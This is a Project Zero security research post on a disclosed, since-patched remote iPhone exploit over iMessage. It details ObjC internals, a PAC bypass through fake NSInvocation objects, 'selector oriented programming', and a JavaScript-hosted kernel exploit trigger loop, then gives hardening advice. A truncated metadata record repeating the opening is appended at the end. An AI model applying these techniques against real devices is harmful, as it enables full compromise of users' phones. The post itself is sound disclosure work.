Posted by Samuel Groß, Project Zero
This is the third and last post in a series about a remote, interactionless iPhone exploit over iMessage. The [first blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>) introduced the exploited vulnerability, and the [second blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) described a way to perform a heapspray, leaking the shared cache base address.
**
**
At this point, ASLR has been broken as the shared cache’s base address is known and controlled data can be placed at a known address with the heap spray. What remains is to exploit the vulnerability one more time to gain code execution.
**
**
After a short introduction to some relevant ObjC internals, an exploit for devices without pointer authentication (PAC) will be outlined. It involves creating code pointers, so it no longer works with pointer authentication enabled. Afterwards, a different exploit that works against PAC and non-PAC devices will be presented. Finally, a technique to chain the presented attack with a kernel exploit, which involves implementing the kernel exploit in JavaScript, will be shown.
## Objective-C for the Remote Code Executer
**
**
ObjC is a superset of C which has object oriented programming features added. ObjC adds, amongst others, the concepts of objects, classes with methods and properties, and inheritance to the language. Most objects in ObjC ultimately inherit from [NSObject](<https://developer.apple.com/documentation/objectivec/nsobject?language=objc>), the root object class. A simple snippet of ObjC code is shown next. It creates and initializes an instance of a Class, then calls a method on the instance.
**
**
Bob* bob = [[Bob alloc] init];
[bob doSomething];
**
**
ObjC relies heavily on reference counting for managing the lifetime of objects. As such, every object has a refcount, either [inline as part of the ISA word](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L93>) (see below) or out of line in a [global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L201>). Code that operates on an object then has to perform [objc_retain](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571946-retain?language=objc>) and [objc_release](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571957-release?language=objc>) calls on the object. These must either be placed manually by the programmer or are inserted automatically by the compiler if [automatic reference counting (ARC)](<https://en.wikipedia.org/wiki/Automatic_Reference_Counting>) is enabled.
**
**
Internally, an [object in ObjC](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L127>) is a chunk of memory (usually allocated through calloc) that always starts with an [“ISA” value](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L59>) followed by instance variables/properties. The ISA value is a pointer-sized value containing the following information:
* A pointer to the Class of which this object is an instance
* An inline reference counter
* A few additional flag bits
**
**
An [ObjC Class](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L1012>) describes its instances, but it is also an ObjC object itself. As such, Classes in ObjC are not only a compile time concept but also exist at runtime, enabling introspection and reflection. A Class contains the following bits of information:
* The ISA word (as it is an Objc Object itself), pointing to a dedicated metaclass
* A pointer to the superclass if any
* A method cache to speed up method implementation lookups
* The method table
* The list of instance variables (name and offset) that each instance has
**
**
A [Method](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L207>) in ObjC is basically a tuple:
**
**
([Selector](<https://developer.apple.com/documentation/objectivec/sel?language=objc>), [Implementation](<https://developer.apple.com/documentation/objectivec/objective-c_runtime/imp?language=objc>))
**
**
where the Selector is a unique c-string containing the name of the method and the Implementation is a pointer to the native function implementing the method.
**
**
With that, here is roughly what happens when the following piece of ObjC code from above is compiled and executed: first, at compile time, the three ObjC method calls are translated to the following pseudo-C code (assuming ARC is enabled):
**
**
Bob* bob = objc_msgSend(BobClass, "alloc");
// Refcount is already 1 at this point, so no need for a objc_retain()
bob = objc_msgSend(bob, "init");
objc_msgSend(bob, "doSomething");
...
objc_release(bob);
**
**
At runtime, [objc_msgSend](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/Messengers.subproj/objc-msg-arm64.s#L252>) will then roughly do the following:
**
**
1. Dereference the object pointer to retrieve the ISA value and extract the Class pointer from it in turn
2. Perform a [lookup for the requested method implementation](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.mm#L4657>) in the Class’ method cache. This is done by essentially hashing the selector’s address to obtain a table index, then comparing the entry’s selector with the requested one
3. If that fails, continue to look up the method in the method table
4. If a method Implementation was found, it is (tail-) called and passed any additional arguments that were passed to objc_msgSend. Otherwise an exception is raised.
**
**
Note that since selectors are guaranteed to be unique by the ObjC runtime, comparison of two selectors is possible simply by comparing the pointer values.
**
**
[objc_release](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L1505>) on the other hand will [decrement the object’s refcount](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L464>) (assuming no custom retain/release has been implemented for the object by overwriting the corresponding methods).
If decrementing the object’s refcount sets it to zero, it [invokes](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-object.h#L571>) the [dealloc method](<https://developer.apple.com/documentation/objectivec/nsobject/1571947-dealloc>) (the destructor of the object) and then frees the object’s memory chunk.
**
**
Further information about ObjC internals can be found [here](<http://www.phrack.org/issues/66/4.html#article>), [here](<http://www.phrack.org/issues/69/9.html#article>), and in the [source](<https://github.com/opensource-apple/objc4>)/[binary](<https://ipsw.me/>) code.
## Native Code Execution on non-PAC Devices
**
**
Given the above insights into the ObjC runtime internals and the capabilities gained from the second part of this series, it is now possible to implement a simple exploit to gain native code execution on devices without pointer authentication (PAC), namely the iPhone X and earlier.
**
**
Shown next is the code fragment from [NSSharedKeySet indexForKey:] which reads the candidate value from an address of the attacker’s choosing (as _keys is nullptr and index is controlled) and processes it.
**
**
1. id candidate = self->_keys[index];
2. if (candidate != nil) {
3. if ([key isEqual:candidate]) {
4. return prevLength + index;
5. }
6. }
**
**
If the key is a NSString, then one of the first things that [NSString isEqual:] will do with the given argument is calling [arg isNSString__] on it (see the implementation of [NSString isEqual:] in Foundation.framework). As such, native code execution can be achieved in the following way:
**
**
1. Perform the heap spray as described in part 2. The heap spray should contain a fake object pointing to a fake class containing a fake method cache with an entry for the method ‘isNSString__’ with a controlled IMP pointer. The heap spray should also contain a pointer to the fake object
2. Trigger the vulnerability to read that pointer and have it be passed to [key isEqual:]. This will in turn invoke ‘isNSString__’ on the faked object, thus pointing the instruction pointer to an address of the attacker’s choosing
3. Perform a stack pivot and implement a payload in ROP
**
**
At this point, an attacker has succeeded in exploiting a device that does not support PAC (iPhone X and earlier). However, with PAC enabled, the above attack is no longer possible as is explained in the next section.
**
**
## The Impact of PAC in Userspace
**
**
Brandon Azad has previously done some great research [detailing how PAC works in the kernel](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). PAC in userspace is not too different. Next is a high level summary of how PAC works in userspace. For more information, the reader is referred to [llvm’s documentation of PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>).
**
**
Every code pointer (function pointer, ObjC method pointer, return address, …) is signed with a secret key as well as an optional 64-bit “context” value. The resulting signature is truncated to 24 bits which are then stored in the upper part of a pointer, which are normally unused. Before jumping to a code pointer, the pointer’s signature is verified by recomputing it with the same key and context value and comparing the result to the bits stored in the pointer. If they match, the signature bits are cleared, leaving a valid pointer to be dereferenced. If they don’t match, the pointer becomes clobbered, thus leading to an access violation when it is subsequently dereferenced.
**
**
The main purpose of the context value is to prevent pointer swapping attacks in which a signed pointer is copied from one location in the process to another. As an example, ObjC method Implementation pointers stored in the method cache use the address of the cache entry as context while return addresses on the stack use the address of themselves in the stackframe as context. As such, the two cannot be swapped.
**
**
To summarize, with PAC enabled and without a bug in the implementation of PAC itself or a signing gadget (a piece of code that can legitimately be invoked and which will add a PAC signature to an arbitrary pointer and return the result to the attacker), it becomes impossible to fake code pointers like the previously described exploit does. The bypass described next assumes such a “flawless” implementation.
**
**
One attack that is still viable despite PAC is to create fake instances of ObjC classes and call existing (legitimate) methods on them. This is possible because [PAC does not currently protect the ISA value](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst#objective-c-methods>) which identifies a class instance (this is likely due to the fact that the ISA value does not have enough spare bits for a signature). As such, knowing the base address of the dyld shared cache (which contains all the ObjC Class objects), it becomes possible to fake instances of any class in any library currently loaded in the process.
**
**
However, on the code path that is currently taken ([NSSharedKeySet indexForKey:], only a small number of selectors are ever sent to the controlled object, for example ‘__isNSString’. This is likely not very useful as none of the available implementations perform anything particularly interesting. Another code path yielding a different primitive thus has to be found.
**
**
## A Useful Exploit Primitive
**
**
As described above, ObjC relies heavily on reference counting, and one of the most common operations performed on an object (besides objc_msgSend) is objc_release. Due to that, many memory corruption vulnerabilities can be turned into an objc_release call on a controlled object. This is also the case here, although some more effort is required as, by itself, the code used during [NSSharedKeySet indexForKey:] will not call objc_release on the attacker controlled object. As such, a new object graph is required once again to reach a different piece of code, in this case in [NSSharedKeyDictionary setObject:ForKey:], called during [NSSharedKeyDictionary initWithCoder:] as shown next.
**
**
1. -[NSSharedKeyDictionary initWithCoder:coder] {
2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class]
3. forKey:@”Ns.skkeyset”];
4. self->_values = calloc([self->_keyMap count], 8);
5. NSArray* keys = [coder decodeObjectOfClasses:[...]
6. forKey:@”NS.keys”]];
7. NSArray* values = [coder decodeObjectOfClasses:[...]
8. forKey:@”NS.values”]];
9. 10. if ([keys count] != [values count]) { // return error }
11.
12. for (int i = 0; i < [keys count]; i++) {
13. [self setObject:[values objectAtIndex:i]
14. forKey:[keys objectAtIndex:i]];
15. }
16. }
**
**
1. -[NSSharedKeyDictionary setObject:obj forKey:key] {
2. uint32_t index = [self->_keyMap indexForKey:key];
3. if (index != -1) {
4. id oldval = self->_values[index];
5. objc_retain(obj);
6. self->_values[index] = obj;
7. objc_release(oldval);
8. }
9. }
**
**
Note that in [NSSharedKeyDictionary initWithCoder:], there is no check for nullptr after the call to calloc() in line 4. This is likely not a problem under normal circumstances as another allocation of the same size would have to succeed first (for the SharedKeySet) and its content (multiple gigabytes of data) would have to be sent over iMessage. However, it does become a problem in combination with the current vulnerability, as now a _numKey value of one of the SharedKeySets is not yet validated at the time this code runs, thus allowing an attacker to cause calloc() to fail without requiring other huge allocations to succeed first. Afterwards, [NSSharedKeyDictionary setObject:forKey:] can be tricked to again read an ObjC id from an attacker controlled address (line 4) and subsequently call objc_release on it (line 7). The object graph shown next triggers this case and performs an objc_release call on an attacker controlled value. The return value of calloc() has since been checked against nullptr, in which case unarchiving is aborted.
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMpq5iI8M39sDpQx2M_ERppd3Hcr1SXy7p8Ri-3nhHvibSPtsFY4gY842zHkXPaBM0EsKSrF8bXWK0m_XAa9Dhoo75xL6RYa7RqWwhupSXlaL1Z23v6_aBd5TvA-s-NAdPUCZeyiZGnFfWgVAj8fyZlsaixVj6iisxkmCgqLC3r2dS_3T25UIyIQdc/s2048/ExploitPrimitive.png>)
When the shown object graph is unarchived, SharedKeyDictionary2 will attempt to store the value for “k2” in itself and will thus call [SharedKeySet2 indexForKey:"k2"]. This in turn will recurse to SharedKeySet1, which will also not find the key (as the index fetched from its _rankTable is larger than _numKey) and recurse further. Finally, SharedKeySet3 will be able to lookup “k2” and return the currently accumulated offset, which is (1 + 0x41414140/8). SharedKeyDictionary2 will then access 0x41414148, call objc_release on the value read there and finally write the NSString “foobar” to that address. This now provides the arbitrary objc_release primitive required for further exploitation.
**
**
With that, it is now possible to get any legitimate ‘dealloc’ or ‘.cxx_desctruct’ (which are additional destructors automatically generated by the compiler) method called. There are about 50,000 such functions in the shared cache. Quite a lot of gadgets! To find interesting gadgets, the following IDAPython snippet can be used on a loaded dyld_shared_cache image. It enumerates the available destructors and writes their name + decompiled code to disk:
**
**
for funcea in Functions():
funcName = GetFunctionName(funcea)
if ‘dealloc]’ in funcName or ‘.cxx_desctruct]’ in funcName:
func = get_func(funcea)
outfile.write(str(decompile(func)) + ‘\n’)
**
**
One approach to finding interesting dealloc “gadgets” is to grep the decompiled code for specific selectors that are being sent to other objects, further increasing the amount of code that can be executed. One dealloc implementation that is particularly interesting is printed below:
**
**
-[MPMediaPickerController dealloc](MPMediaPickerController *self, SEL)
{
v3 = objc_msgSend(self->someField, "invoke");
objc_unsafeClaimAutoreleasedReturnValue(v3);
objc_msgSend(self->someOtherField, "setMediaPickerController:", 0);
objc_msgSendSuper2(self, "dealloc");
}
**
**
This sends the “invoke” selector to an object read from the faked self object. “invoke” is for example implemented by [NSInvocation](<https://developer.apple.com/documentation/foundation/nsinvocation>) objects, which are essentially bound functions: a triplet of (target object, selector, arguments) which, when sent the “invoke” selector, will call the stored selector on the target object with the stored arguments. It is thus possible to call any ObjC method on a completely controlled object with arbitrary arguments. Quite a powerful primitive. In fact, already powerful enough to pop calc. The call:
**
**
[UIApplication launchApplicationWithIdentifier:@"com.apple.calculator" suspended:NO]
**
**
...will do the job just fine :)
**
**
The final heap spray layout then looks roughly as depicted below. The heap spray must now be a bit bigger because the previously used address 0x110000000, which will now also be used as the size argument to calloc, will not cause calloc to fail on newer devices, so a higher address such as 0x140000000 is necessary. Note also that the call to ‘setMediaPickerController’ in the dealloc implementation can simply be survived by setting someOtherField to zero, in which case objc_msgSend generally becomes a nop. NSInvocation objects are made up of a “frame”, a pointer to a buffer containing the arguments for the call, as well as storage for the return value and a reference to a NSMethodSignature object containing information about the number and type of the arguments. The latter two fields are omitted in the diagram for brieviety.
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRoQjcXknwnUxwFAWqJIE-2vUMftTrN2L6pOwVCXcSk4OO4PmLy2mW5meOC_gOY-z-Yz3vs6yQO-U4PDBkycehi2FeC4Z7vFFN6lifIx5JcGvjQEjKVXTGe8_JmlE1AWYlwBA_isNQeys7_XeyRrH9VBbsN87qUw620C3IjJMHrLKaj10KM1Fsv3yD/s2048/Heap%20Spray%20Content.png>)
To trigger the controlled ObjC method invocation from [NSSharedKeyDictionary setObject:obj forKey:key], the address 0x140003ff8 must be accessed so that a pointer to the fake MPMediaPickerController is passed to objc_release.
**
**
The video below shows the exploit in action. Note that there is no “respring” or similar crash behaviour happening as SpringBoard continues normally after executing the payload.
**
**
While opening a calculator is nice, the ultimate goal of an exploit like the one presented here is likely to stage a kernel exploit. One option for that is to use the current capability to open a WebView and serve a classic browser exploit. However, that would likely require a separate browser vulnerability. The final question is thus whether it is possible to directly chain a kernel exploit given the current primitive. The remainder of this blog post will now explore this option.
**
**
## SeLector Oriented Programming (SLOP)
**
**
The technique described here was not part of the initial exploit PoC that was sent to Apple. As such, it was separately reported on September 13 as an exploitation technique (noting that exploitation techniques are not subject to Project Zero's 90 day deadlines)
**
**
Expanding on the current exploitation capability, the ability to call a single method on a controlled object with controlled arguments, the next step is to gain the ability to chain multiple method calls together. Furthermore, it should also be possible to use the return values of method calls, for example as arguments to subsequent ones, and to be able to read and write process memory. The following technique, dubbed SLOP for SeLector Oriented Programming ;), allows this.
**
**
First, it is possible to chain multiple selector calls together by creating a fake NSArray containing fake NSInvocation objects, then calling [[NSArray makeObjectsPerformSelector:@selector(invoke)]](<https://developer.apple.com/documentation/foundation/nsarray/1460115-makeobjectsperformselector?language=objc>) on it (through the “bootstrap” NSInvocation that is invoked during [MPMediaPickerController dealloc]). This will invoke each of the NSInvocations, thus performing multiple independent ObjC method calls.
**
**
Next, by using the [[NSInvocation getReturnValue:ptr]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437832-getreturnvalue?language=objc>) method, it is possible to write the return value of a previous method call somewhere in memory, for example into the arguments buffer of a following call. With that, it is possible to use return values of method calls as arguments for subsequent ones.
**
**
A simple SLOP chain then looks like this:
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHRdcv9Yy2tbo7UUXrWszCDIo_6_VxaM0GSg4hSWcO41hdTnojQHsccZg5bJXG7_zIza5ltdpQuxYddOMh3tyYqcExtd_YUfij4tY8K6Fxnqzf2sGdqL1SvGTOHcK7CQMaMxputEvwhbFp_SnizjOUtGFIjQtHY1hjH5gwqn26ORx2MhGyynoekzr/s2048/SLOP.png>)
This chain is equivalent to the following ObjC code:
**
**
id result = [target1 doX];
[target2 doY:result];
**
**
For the final primitive, the ability to read and write process memory, the [[NSInvocation getArgument:atIndex]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437830-getargument?language=objc>) method can be used, of which simplified pseudocode is shown next:
**
**
void -[NSInvocation getArgument:(void*)addr atIndex:(uint)idx] {
if (idx >= [self->_signature numberOfArguments]) {
...; // abort with exception
}
**
**
memcpy(addr, &self->_frame[idx], 8);
}
**
**
As the above method can be invoked using SLOP, it is possible to perform arbitrary memory reads and writes (with [’setArgument:atIndex’](<https://developer.apple.com/documentation/foundation/nsinvocation/1437834-setargument?language=objc>) instead) by creating fake NSInvocation objects where the _frame member points to the desired address. Conveniently, this also allows reading and writing at an offset from the pointer which facilitates accessing or corrupting members of some data structure. This will be an important primitive for the next part.
**
**
With SLOP, it is now possible to execute arbitrary ObjC methods. As this happens outside of the sandbox in SpringBoard, it is already sufficient to for example gain access to user data. However, by itself, SLOP is likely not powerful enough to execute a kernel exploit, which is the final step for a full device compromise. This is for example due to the lack of (obvious) control-flow primitives that SLOP provides.
## Chaining a Kernel Exploit
**
**
One approach for executing a kernel exploit is then to use SLOP to pivot into a scripting context, for example into [JavaScriptCore.framework](<https://developer.apple.com/documentation/javascriptcore?language=objc>), and implement the kernel exploit in that scripting language. Pivoting into JavaScript from SLOP is easily possible using the following method calls:
**
**
JSContext* ctx = [[JSContext alloc] init];
[ctx evaluateScript:scriptContent];
**
**
In order to execute a kernel exploit in JavaScript, the following primitives will have to be bridged into JavaScript or recreated there:
**
**
1. The ability to read and write the memory of the current process
2. The ability to call C functions and in particular syscalls
**
**
Gaining memory read/write in JavaScript is rather easy with a standard browser exploitation technique: corrupting JavaScript [DataViews](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView>)/[TypedArrays](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray>). In particular, two DataView objects can be created in JS, then [returned to ObjC](<https://developer.apple.com/documentation/javascriptcore/jscontext/1451771-objectforkeyedsubscript?language=objc>), where the first one is corrupted so that its backing memory pointer now points to the second one. The resulting situation is shown in the image below. Corrupting the backing storage pointer is possible by using the memory read/write primitive in SLOP as described above.
[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWQJGlRPGzC51weNE1cKBTjxVmJPU3dRshmiapm11GUgF7ho-Xam5EZhnSaW8dE3jV85tiBflkdysP2rRo9FUEF_oWu2U8fGXeeDW_9fknMLNsaFb5fJUBP6y2S7IlFMsJ2Rk7zb1AHUhnC_z9Lfnw0KI0g-JoPYIDYzycSwjpmxJVecF7Gkh5uk3J/s1945/DataViews.png>)
Subsequently, it is now possible to read from/write to arbitrary addresses from JavaScript by first corrupting the backing storage pointer of the second DataView through the first one, then accessing the second DataView’s storage. Conveniently, [Gigacage](<https://phakeobj.netlify.com/posts/gigacage/>), a mitigation in JavaScriptCore designed to hinder the abuse of ArrayBuffers and similar in such a way, is [not active in JSC builds for Cocoa](<https://github.com/WebKit/webkit/blob/98cbf74a29d2dfea8c253ebd09cacb2c44c7557d/Source/bmalloc/bmalloc/ProcessCheck.h#L34>). This solves point 1 above.
**
**
Afterwards, point 2 can be achieved with the following two ObjC methods:
* [CNFileServices dlsym::], which is just a thin wrapper around dlsym(3). With PAC enabled, dlsym will sign returned function pointers with context zero (as no sensible context value is available to the caller) before returning them
* [NSInvocation invokeUsingIMP:], which accepts an IMP, a function pointer signed with context zero, as argument and calls it with the arguments from its frame buffer, which are thus fully controlled
**
**
Combining these two ObjC methods allows calling of arbitrary exported C functions with arbitrary arguments. Finally, it is also possible to bridge this capability into JavaScript: JavaScript core supports bridging ObjC objects by implementing the [JSExport protocol](<https://developer.apple.com/documentation/javascriptcore/jsexport?language=objc>) and specifying the methods that should be exposed to JS. ObjC methods bridged in that way are implemented by creating one NSInvocation object for every method and [invoking it when the method is called in JS](<https://github.com/WebKit/webkit/blob/4193dc90616f9538b99058517fee62c53b094951/Source/JavaScriptCore/API/ObjCCallbackFunction.mm#L585>). Given the memory read/write capability, it is then possible to corrupt this NSInvocation object to call a different method on a different object, for example [CNFileServices dlsym::] or [NSInvocation invokeUsingIMP:].
**
**
With all of that and a bit of wrapper code to expose the required functionality in a convenient way, a reimplementation of Ned Williamson’s [trigger](<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=398587>) for [CVE-2019-8605 aka SockPuppet](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) looks like this (see crash_kernel.js for the full code):
**
**
let sonpx = memory.alloc(8);
memory.write8(sonpx, new Int64("0x0000000100000001"));
let minmtu = memory.alloc(8);
memory.write8(minmtu, new Int64("0xffffffffffffffff"));
**
**
let n0 = new Int64(0);
let n4 = new Int64(4);
let n8 = new Int64(8);
**
**
while (true) {
let s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
setsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);
setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);
disconnectx(s, n0, n0);
// The next setsockopt will write into a freed buffer, so
// give the kernel some time to reclaim it first.
usleep(1000);
setsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);
close(s);
}
**
**
This demonstrates that it is possible to execute a kernel exploit from JavaScript after a successful remote exploit over iMessage and without any further vulnerabilities (e.g. a JavaScriptCore RCE exploit).
**
**
The source code for the proof-of-concept exploit can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>).
## Improving Messenger Security
**
**
The insights gained during the exploitation work led to numerous recommendations for hardening measures, most of which have already been mentioned throughout this series where appropriate and have also been communicated to Apple. As they could also be relevant for other messenger and mobile operating system vendors, they are restated next.
**
**
1. As much code as possible should be put behind user interaction, in particular when receiving messages from unknown senders.
2. Communication side channels in the interactionless attack surface such as automatic delivery receipts should be removed. If that is not possible, the receipts should at least be sent in a way that prevents them from being abused to construct a crash oracle, for example by sending them on the server side or from a dedicated process
3. Processes handling incoming data should be sandboxed as much as possible and should be disallowed any network interaction to stop an attacker from constructing a communication channel (and afterwards an info leak) through a memory corruption or logic bug. This would also prevent bugs such as [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) from being easily exploitable.
4. ASLR should be as strong as possible. In particular, both heap spraying and brute force guessing should be impractical on any remote attack surface. Similarly, on iOS, the ASLR of the dyld shared cache region could be improved.
5. Some probabilistic defenses (ASLR, and in the future memory tagging) can be defeated if the attacker gets enough attempts (as is the case here with imagent). As such, it seems desirable to limit the number of attempts an attacker gets whenever possible and to deploy monitoring that is able to detect failed exploitation attempts.
**
**
Since developing and reporting the presented exploit to Apple on August 9, the following security relevant changes to iOS have taken place:
**
**
1. A large part of the NSKeyedUnarchiver attack surface in iMessage was blocked ([by disallowing the decoding of child classes](<https://twitter.com/5aelo/status/1172534071332917248>)), thus rendering this bug and others unexploitable over iMessage
2. The vulnerability exploited here was fixed and assigned CVE-2019-8641
3. The decoding of the “BP” NSKeyedUnarchiver payload contained in incoming iMessages was moved into a sandboxed process (IMDPersistenceAgent). As such, an attacker exploiting an NSKeyedUnarchiver vulnerability over iMessage will now also need to break out of a sandbox.
4. A new unsigned int field, _magic, was added to the NSInvocation class. This field is set to the value of a per-process random global variable during initialization and asserted to be equal to it again during [NSInvocation invoke]. As such, it is no longer possible to create fake NSInvocation instances (which is a requirement for the presented PAC bypass) without leaking this value beforehand. Further, it appears that efforts are being made to protect the selector and target fields of NSInvocation with PAC in the future, additionally hindering abuse of NSInvocations even in case of an attacker with memory read/write capabilities.
5. The [MPMediaPickerController dealloc] method, which was used to bootstrap the PAC bypass by sending the “invoke” selector to an attacker-controlled object, appears to have been removed. However, there are still other dealloc implementations that call “invoke” on an attacker controlled object left. These might be removed in the future as well. As described above, it is in any case now more difficult to create fake NSInvocation instances.
**
**
This list could be incomplete as it was compiled through reverse engineering and manual experimentation, as Apple do not currently share any details of how their issues were fixed with security researchers.
**
**
On a final note, while good sandboxing is critical, it should not be relied upon blindly. As an example to consider, the vulnerability exploited here would likely also be usable to escape any sandbox on the device as the targeted API is commonly exposed over IPC as well.
**
**
## Conclusion
**
**
This blog post series demonstrated that, despite numerous exploit mitigations being deployed, it is still possible to exploit memory corruption vulnerabilities in a non-interactive setting such as mobile messaging services and without an additional remote infoleak vulnerability as is commonly deemed necessary. The exploited vulnerability has been fixed by Apple and a few further hardening measures have already been deployed. A key insight of this research was that ASLR, which in theory should offer strong protection in this attack scenario, is not as strong in practice. In particular, ASLR can be defeated through heap spraying and through crash oracles, which can be constructed from commonly available side channels such as automatic delivery receipts. A second insight was that fairly arbitrary code, powerful enough to execute a kernel exploit, could be executed without ever creating or corrupting a code pointer, thus effectively bypassing PAC. Finally, based on the developed exploit, numerous suggestions for attack-surface reduction, hardening, and exploit mitigations were presented. My hope is that this research will ultimately help all vendors by highlighting how small design decisions can have significant security consequences and to hopefully better protect their users from these kinds of attacks.
{"id": "GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "vendorId": null, "type": "googleprojectzero", "bulletinFamily": "info", "title": "\nRemote iPhone Exploitation Part 3: From Memory Corruption to JavaScript and Back -- Gaining Code Execution\n", "description": "Posted by Samuel Gro\u00df, Project Zero \n \nThis is the third and last post in a series about a remote, interactionless iPhone exploit over iMessage. The [first blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-1.html>) introduced the exploited vulnerability, and the [second blog post](<https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-2.html>) described a way to perform a heapspray, leaking the shared cache base address.\n\n** \n**\n\nAt this point, ASLR has been broken as the shared cache\u2019s base address is known and controlled data can be placed at a known address with the heap spray. What remains is to exploit the vulnerability one more time to gain code execution.\n\n** \n**\n\nAfter a short introduction to some relevant ObjC internals, an exploit for devices without pointer authentication (PAC) will be outlined. It involves creating code pointers, so it no longer works with pointer authentication enabled. Afterwards, a different exploit that works against PAC and non-PAC devices will be presented. Finally, a technique to chain the presented attack with a kernel exploit, which involves implementing the kernel exploit in JavaScript, will be shown.\n\n## Objective-C for the Remote Code Executer\n\n** \n**\n\nObjC is a superset of C which has object oriented programming features added. ObjC adds, amongst others, the concepts of objects, classes with methods and properties, and inheritance to the language. Most objects in ObjC ultimately inherit from [NSObject](<https://developer.apple.com/documentation/objectivec/nsobject?language=objc>), the root object class. A simple snippet of ObjC code is shown next. It creates and initializes an instance of a Class, then calls a method on the instance.\n\n** \n**\n\nBob* bob = [[Bob alloc] init];\n\n[bob doSomething];\n\n** \n**\n\nObjC relies heavily on reference counting for managing the lifetime of objects. As such, every object has a refcount, either [inline as part of the ISA word](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L93>) (see below) or out of line in a [global table](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/NSObject.mm#L201>). Code that operates on an object then has to perform [objc_retain](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571946-retain?language=objc>) and [objc_release](<https://developer.apple.com/documentation/objectivec/1418956-nsobject/1571957-release?language=objc>) calls on the object. These must either be placed manually by the programmer or are inserted automatically by the compiler if [automatic reference counting (ARC)](<https://en.wikipedia.org/wiki/Automatic_Reference_Counting>) is enabled.\n\n** \n**\n\nInternally, an [object in ObjC](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L127>) is a chunk of memory (usually allocated through calloc) that always starts with an [\u201cISA\u201d value](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-private.h#L59>) followed by instance variables/properties. The ISA value is a pointer-sized value containing the following information:\n\n * A pointer to the Class of which this object is an instance\n\n * An inline reference counter\n\n * A few additional flag bits\n\n** \n**\n\nAn [ObjC Class](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L1012>) describes its instances, but it is also an ObjC object itself. As such, Classes in ObjC are not only a compile time concept but also exist at runtime, enabling introspection and reflection. A Class contains the following bits of information:\n\n * The ISA word (as it is an Objc Object itself), pointing to a dedicated metaclass\n\n * A pointer to the superclass if any\n\n * A method cache to speed up method implementation lookups\n\n * The method table\n\n * The list of instance variables (name and offset) that each instance has\n\n** \n**\n\nA [Method](<https://github.com/opensource-apple/objc4/blob/cd5e62a5597ea7a31dccef089317abb3a661c154/runtime/objc-runtime-new.h#L207>) in ObjC is basically a tuple:\n\n** \n**\n\n([Selector](<https://developer.apple.com/documentation/objectivec/sel?language=objc>), [Implementation](<https://developer.apple.com/documentation/objectivec/objective-c_runtime/imp?language=objc>)) \n\n** \n**\n\nwhere the Selector is a unique c-string containing the name of the method and the Implementation is a pointer to the native function implementing the method. \n\n** \n**\n\nWith that, here is roughly what happens when the following piece of ObjC code from above is compiled and executed: first, at compile time, the three ObjC method calls are translated to the following pseudo-C code (assuming ARC is enabled):\n\n** \n**\n\nBob* bob = objc_msgSend(BobClass, \"alloc\");\n\n// Refcount is already 1 at this point, so no need for a objc_retain()\n\nbob = objc_msgSend(bob, \"init\");\n\nobjc_msgSend(bob, 